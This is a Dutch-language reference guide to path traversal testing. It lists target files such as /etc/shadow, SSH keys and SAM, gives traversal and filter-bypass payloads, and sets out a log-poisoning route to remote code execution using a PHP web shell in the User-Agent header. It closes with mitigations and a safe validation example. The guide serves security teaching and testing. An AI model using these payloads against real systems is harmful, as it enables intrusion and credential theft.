Path Traversal – Directory Traversal
Volledige Referentiegids
1. Wat is Path Traversal?
Path Traversal (ook wel Directory Traversal genoemd) is een kwetsbaarheid waarbij een aanvaller de applicatie misleidt om bestanden te lezen (of schrijven) buiten de bedoelde map op de server.
Normale bedoeling : /var/www/images/product.jpg
Aanval : /var/www/images/../../../etc/passwd
Resultaat : /etc/passwd ← gevoelig systeembestand
De ../ sequentie betekent "ga één map omhoog" — door deze te herhalen navigeer je naar de root van het bestandssysteem.
2. Impact
| Impact | Voorbeeld |
|---|---|
| Gevoelige bestanden lezen | /etc/passwd, /etc/shadow, configuratiebestanden |
| Credentials stelen | Database-wachtwoorden, API-sleutels in config files |
| Broncode lezen | Applicatielogica, hardcoded secrets |
| Systeeminformatie | OS-versie, gebruikerslijsten, netwerkconfiguratie |
| In combinatie met upload → RCE | Bestand uploaden + path traversal naar executie |
3. Herkennen — Waar zit Path Traversal risico?
Zoek naar parameters die verwijzen naar bestandsnamen of paden:
| Functie | Voorbeeld parameter |
|---|---|
| Afbeeldingen laden | ?filename=product.jpg |
| Bestand downloaden | ?file=rapport.pdf |
| Template laden | ?template=home.html |
| Log viewer | ?log=access.log |
| Include / import | ?page=about |
| Avatar / profielfoto | ?img=user123.png |
Minder voor de hand liggend
Refererheader met bestandspadContent-Dispositionin upload responses- API endpoints:
/api/files/{filename} - Path parameters in REST:
/download/invoice-2024.pdf
4. Doelbestanden per OS
Linux / Unix
/etc/passwd ← gebruikerslijst
/etc/shadow ← wachtwoord-hashes (root vereist)
/etc/hosts ← lokale DNS
/etc/hostname ← servernaam
/etc/os-release ← OS-versie
/proc/version ← kernel versie
/proc/self/environ ← omgevingsvariabelen (soms creds)
/proc/self/cmdline ← hoe de app gestart is
/var/log/apache2/access.log ← Apache access log
/var/log/apache2/error.log ← Apache error log
/var/log/nginx/access.log ← Nginx access log
/home/{user}/.ssh/id_rsa ← private SSH key
/home/{user}/.bash_history ← command history
/root/.ssh/id_rsa ← root SSH key
/var/www/html/config.php ← webapplicatie config
/app/config/database.yml ← database credentials
Windows
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System32\config\SAM ← wachtwoord-hashes (vereist rechten)
C:\inetpub\wwwroot\web.config ← IIS configuratie
C:\xampp\htdocs\config.php
C:\Users\Administrator\Desktop\
C:\boot.ini
5. Testen — Stap voor stap
Stap 1 — Baseline identificeren
Zoek een parameter die een bestand of pad bevat:
GET /image?filename=product.jpg HTTP/1.1
Stuur dit naar Burp Repeater voor manuele tests.
Stap 2 — Simpele traversal
GET /image?filename=../../../etc/passwd HTTP/1.1
Als de response de inhoud van /etc/passwd bevat → Path Traversal bevestigd.
Stap 3 — Diepte bepalen
Je weet niet altijd hoe diep de applicatie zit in het bestandssysteem. Gebruik voldoende ../:
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
Te veel ../ is niet erg — je stopt gewoon bij de root /.
Stap 4 — Absolute paden testen
Sommige applicaties laten absolute paden door als de validatie alleen op ../ let:
GET /image?filename=/etc/passwd HTTP/1.1
Stap 5 — Windows-paden testen
Op Windows-servers:
..\..\..\windows\win.ini
..\..\..\windows\system32\drivers\etc\hosts
6. Filters omzeilen
6a. Gestripte ../ sequenties
De applicatie verwijdert ../ uit de input maar doet dit niet recursief:
....// ← na strippen van ../ blijft ../ over
....\/
..././
...\.\
Voorbeeld:
....//....//....//etc/passwd
Na niet-recursief strippen van ../:
../../etc/passwd ← traversal geslaagd
6b. URL-encoding
..%2F..%2F..%2Fetc%2Fpasswd ← / als %2F
..%252F..%252F..%252Fetc%252Fpasswd ← dubbel encoded
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd ← . en / encoded
%2e%2e/%2e%2e/%2e%2e/etc/passwd
Dubbele encoding is nuttig als de server twee keer decodeert:
%252F → decodeert naar %2F → decodeert naar /
6c. URL-encoding van de backslash (Windows)
..%5C..%5C..%5Cwindows\win.ini ← \ als %5C
6d. Verplichte base path omzeilen
De applicatie vereist dat het pad begint met een bepaalde map:
/var/www/images/
Bypass:
filename=/var/www/images/../../../etc/passwd
De validatie ziet de correcte base path, maar de traversal neutraliseert deze daarna.
6e. Verplichte extensie omzeilen
De applicatie vereist een bepaalde bestandsextensie (bijv. .jpg):
Null byte injection:
filename=../../../etc/passwd%00.jpg
De null byte (%00) termineert de string in sommige talen (C, PHP oud) — de .jpg extensie wordt genegeerd door het OS.
Let op: werkt niet meer in moderne PHP (≥ 5.3.4) maar nog relevant in legacy systemen.
6f. Combinaties
....%2F....%2F....%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd
/var/www/images/../../.%2e/etc/passwd
7. Automatische detectie — Burp Suite
Wat Burp WEL detecteert
- Standaard
../traversal in GET/POST parameters (active scan) - Absolute paden (
/etc/passwd) - Basis URL-encoding varianten
- Bekende doelbestanden als bevestiging (kijkt naar
/etc/passwdinhoud in response)
Wat Burp NIET altijd detecteert
| Blinde hoek | Reden |
|---|---|
| Traversal in headers | Referer, Cookie minder getest |
| Null byte bypasses | Minder in moderne scan templates |
| Dubbele encoding | Niet altijd in scope van scanner |
| Path parameters in REST | /api/download/../../etc/passwd soms gemist |
| Applicatie-specifieke filters | Custom striplogica moeilijk automatisch te omzeilen |
Burp active scan = goed startpunt
Manueel testen = noodzakelijk voor filter bypasses
8. Burp Intruder — Aanpak voor filter bypasses
Gebruik een Path Traversal woordenlijst als payload:
Aanbevolen lijst: SecLists/Fuzzing/LFI/LFI-Jhaddix.txt
Intruder → Sniper
Parameter: filename=§product.jpg§
Payload: LFI woordenlijst
Filter: Response lengte afwijkend van baseline
9. Wat te doen bij bevestiging?
Path Traversal bevestigd
│
├─ /etc/passwd → gebruikersnamen achterhalen
├─ /etc/shadow → wachtwoord-hashes (indien rechten)
├─ ~/.ssh/id_rsa → SSH key exfiltratie
├─ Config files → database credentials, API keys
├─ Broncode lezen → verdere kwetsbaarheden zoeken
├─ Log files → log poisoning → RCE
└─ Combineren met file upload → RCE
10. Path Traversal → RCE via Log Poisoning
Als je logbestanden kunt lezen en er user input in de logs terecht komt:
- Stuur een payload in een header die gelogd wordt:
GET /index.php HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
- Lees het logbestand via path traversal:
filename=../../../var/log/apache2/access.log&cmd=id
- De PHP-code in het log wordt uitgevoerd → RCE.
11. Tools
| Tool | Gebruik |
|---|---|
| Burp Suite Pro | Active scan, Repeater, Intruder |
| ffuf | Fuzzing van bestandspaden |
| dotdotpwn | Gespecialiseerde path traversal fuzzer |
| SecLists | LFI/path traversal woordenlijsten (/Fuzzing/LFI/) |
| Burp Logger++ | Response-filtering op bestandsinhoud |
12. Mitigaties
- Valideer gebruikersinput — sta geen
../,..%2F, of absolute paden toe - Gebruik een allowlist van toegestane bestandsnamen of ID's in plaats van directe bestandspaden
- Canonicaliseer het pad vóór validatie — gebruik
realpath()of equivalent en controleer of het resultaat binnen de verwachte base directory valt - Geef de webserver minimale bestandssysteemrechten (principle of least privilege)
- Chroot / containerisatie — beperk het zichtbare bestandssysteem van de applicatie
- Sla bestanden op via database-referenties of object storage (S3) in plaats van directe bestandspaden
- Nooit bestandsnamen direct concateneren met een base path zonder validatie
Voorbeeld correcte validatie (PHP)
$basePath = '/var/www/images/';
$userInput = $_GET['filename'];
$fullPath = realpath($basePath . $userInput);
if ($fullPath === false || strpos($fullPath, $basePath) !== 0) {
// Pad verlaat de base directory → afwijzen
http_response_code(403);
exit;
}
// Veilig om te lezen
readfile($fullPath);